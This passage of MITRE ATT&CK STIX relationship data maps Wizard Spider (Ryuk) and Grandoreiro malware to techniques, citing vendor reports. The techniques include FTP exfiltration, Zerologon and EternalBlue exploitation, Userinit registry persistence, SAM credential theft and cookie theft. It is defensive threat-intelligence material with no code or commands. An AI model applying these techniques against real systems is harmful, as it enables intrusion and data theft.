Ryuk\u2019s Return. Retrieved October 9, 2020." + }, + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated victim information using FTP.(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "relationship_type": "uses", + "id": "relationship--5fe0a46c-7a06-4aea-9768-d611d3f3116d", + "type": "relationship", + "modified": "2020-11-10T16:24:47.121Z", + "created": "2020-11-10T16:24:47.121Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used cmd.exe to execute commands on a victim's machine.(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--1ca344f1-97fe-453c-9f12-86130ddcebbc", + "type": "relationship", + "modified": "2020-11-10T16:24:47.269Z", + "created": "2020-11-10T16:24:47.269Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used \u201csysteminfo\u201d and similar commands to acquire detailed configuration information of a victim machine.(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--e24411cf-6274-4b6b-87b4-b90b01146c8d", + "type": "relationship", + "modified": "2020-11-10T16:24:47.347Z", + "created": "2020-11-10T16:24:47.347Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "external_references": [ + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used SMB to drop Cobalt Strike Beacon on a domain controller for lateral movement.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--2bb3c950-2099-4d7d-ac13-05a1470fc3c6", + "type": "relationship", + "modified": "2020-11-10T16:24:47.455Z", + "created": "2020-11-10T16:24:47.455Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + }, + { + "source_name": "DFIR Ryuk in 5 Hours October 2020", + "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used services.exe to execute scripts and executables during lateral movement within a victim network.(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)", + "relationship_type": "uses", + "id": "relationship--f3b210e4-9784-4305-8cad-6bdb4d44250f", + "type": "relationship", + "modified": "2020-11-10T16:49:11.397Z", + "created": "2020-11-10T16:49:11.397Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "external_references": [ + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the Invoke-Inveigh PowerShell cmdlets, likely for name service poisoning.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "relationship_type": "uses", + "id": "relationship--9bd4212c-2e17-41e2-9ff3-1448642ce958", + "type": "relationship", + "modified": "2020-11-10T16:49:11.807Z", + "created": "2020-11-10T16:49:11.807Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "external_references": [ + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + }, + { + "source_name": "DFIR Ryuk in 5 Hours October 2020", + "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exploited or attempted to exploit Zerologon (CVE-2020-1472) and EternalBlue (MS17-010) vulnerabilities.(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)", + "relationship_type": "uses", + "id": "relationship--14f3eebf-40c3-48d5-ad62-356d57ccf2dc", + "type": "relationship", + "modified": "2020-11-10T16:49:12.074Z", + "created": "2020-11-10T16:49:12.074Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMI to identify anti-virus products installed on a victim's machine.(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--61c802ec-b415-4161-bf15-3a8c5cc0a243", + "type": "relationship", + "modified": "2020-11-10T16:49:12.444Z", + "created": "2020-11-10T16:49:12.444Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "external_references": [ + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has established persistence using Userinit by adding the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "relationship_type": "uses", + "id": "relationship--79e8a269-8ef5-4795-94ce-72bfbb03c7cb", + "type": "relationship", + "modified": "2020-11-10T16:49:12.555Z", + "created": "2020-11-10T16:49:12.555Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "external_references": [ + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has acquired credentials from the SAM/SECURITY registry hives.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "relationship_type": "uses", + "id": "relationship--c96e7dda-d05c-458a-8332-9e7851bb4775", + "type": "relationship", + "modified": "2020-11-10T16:49:12.704Z", + "created": "2020-11-10T16:49:12.704Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Digicert code-signing certificates for some of its malware.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "relationship_type": "uses", + "id": "relationship--9438f268-3827-435b-98b5-79dbc0ee5213", + "type": "relationship", + "modified": "2020-11-10T16:49:13.078Z", + "created": "2020-11-10T16:49:13.078Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", + "external_references": [ + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) obtained a code signing certificate signed by Digicert for some of its malware.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "relationship_type": "uses", + "id": "relationship--00a88d6f-fa8c-48bf-a028-fb75ca04e000", + "type": "relationship", + "modified": "2020-11-10T16:49:13.291Z", + "created": "2020-11-10T16:49:13.291Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", + "external_references": [ + { + "source_name": "Sophos New Ryuk Attack October 2020", + "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the icacls command to modify access control to backup servers, providing them with full control of all the system folders.(Citation: Sophos New Ryuk Attack October 2020)", + "relationship_type": "uses", + "id": "relationship--4e3b7cf3-298e-4db2-a920-375abd50280d", + "type": "relationship", + "modified": "2020-11-10T16:49:13.445Z", + "created": "2020-11-10T16:49:13.445Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "Sophos New Ryuk Attack October 2020", + "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used \"ipconfig\" to identify the network configuration of a victim machine.(Citation: Sophos New Ryuk Attack October 2020)", + "relationship_type": "uses", + "id": "relationship--a25300cb-c2b7-4968-b1d7-cc4d5fe5bb4b", + "type": "relationship", + "modified": "2020-11-10T16:49:13.625Z", + "created": "2020-11-10T16:49:13.625Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "external_references": [ + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. 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(2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. 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Retrieved November 12, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has used compromised websites and Google Ads to bait victims into downloading its installer.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: IBM Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--bb23e7d5-23d6-4dde-a67f-36e19e8d2250", + "type": "relationship", + "modified": "2020-11-13T19:31:02.408Z", + "created": "2020-11-12T17:12:38.351Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", + "external_references": [ + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. 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Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has infected victims via malicious attachments.(Citation: IBM Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--54e6596d-ca80-4406-93f3-5fab013bc913", + "type": "relationship", + "modified": "2020-11-13T19:31:02.473Z", + "created": "2020-11-13T16:22:33.578Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can download its second stage from a hardcoded URL within the loader's code.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--213522ec-117d-4ac8-82c7-b297fe7c26b4", + "type": "relationship", + "modified": "2020-11-13T21:33:02.252Z", + "created": "2020-11-13T16:34:54.551Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has used malicious links to gain execution on victim machines.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--0be595fa-a284-4657-a1bd-9b22e56b6604", + "type": "relationship", + "modified": "2020-11-13T21:28:41.120Z", + "created": "2020-11-13T16:34:54.641Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has been spread via malicious links embedded in e-mails.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--ea7cd259-9065-4762-b7e1-f17d42b4af67", + "type": "relationship", + "modified": "2020-11-13T21:28:41.127Z", + "created": "2020-11-13T16:34:54.754Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can capture clipboard data from a compromised host.(Citation: IBM Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--9e1742a1-ffc0-4e29-88d2-04ef30a13358", + "type": "relationship", + "modified": "2020-11-13T19:31:02.612Z", + "created": "2020-11-13T18:52:28.845Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can utilize web services including Google sites to send and receive C2 data.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--30e68a86-bbfc-4677-9815-b256be560f09", + "type": "relationship", + "modified": "2020-11-13T21:28:41.188Z", + "created": "2020-11-13T18:52:28.907Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. 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Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has the ability to use HTTP in C2 communications.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--e337f1d2-0729-48e0-8e8a-8fd372b81aa5", + "type": "relationship", + "modified": "2020-11-13T21:28:41.248Z", + "created": "2020-11-13T18:52:28.973Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. (2020, April 13). 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Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. 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Retrieved November 12, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can steal the victim's cookies to use for duplicating the active session from another device.(Citation: IBM Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--1e526bd3-f353-4b05-a9c9-1f8ddc59bc33", + "type": "relationship", + "modified": "2020-11-13T19:31:02.870Z", + "created": "2020-11-13T19:25:52.923Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "external_references": [ + { + "source_name": "IBM Grandoreiro April 2020", + "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020." + }, + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can steal cookie data and credentials from Google Chrome.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--eadd5ace-0afb-4812-8834-e0dd56b9b129", + "type": "relationship", + "modified": "2020-11-13T20:23:31.710Z", + "created": "2020-11-13T19:25:52.939Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can log keystrokes on the victim's machine.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--80a95235-abd0-4911-abca-91ec1f7e27d3", + "type": "relationship", + "modified": "2020-11-13T20:08:48.728Z", + "created": "2020-11-13T20:08:48.728Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020." + } + ], + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can decrypt its encrypted internal strings.(Citation: ESET Grandoreiro April 2020)", + "relationship_type": "uses", + "id": "relationship--ade847d9-4ce6-4b63-accb-7070c926e5b5", + "type": "relationship", + "modified": "2020-11-13T20:12:59.690Z", + "created": "2020-11-13T20:12:59.690Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "ESET Grandoreiro April 2020", + "url": 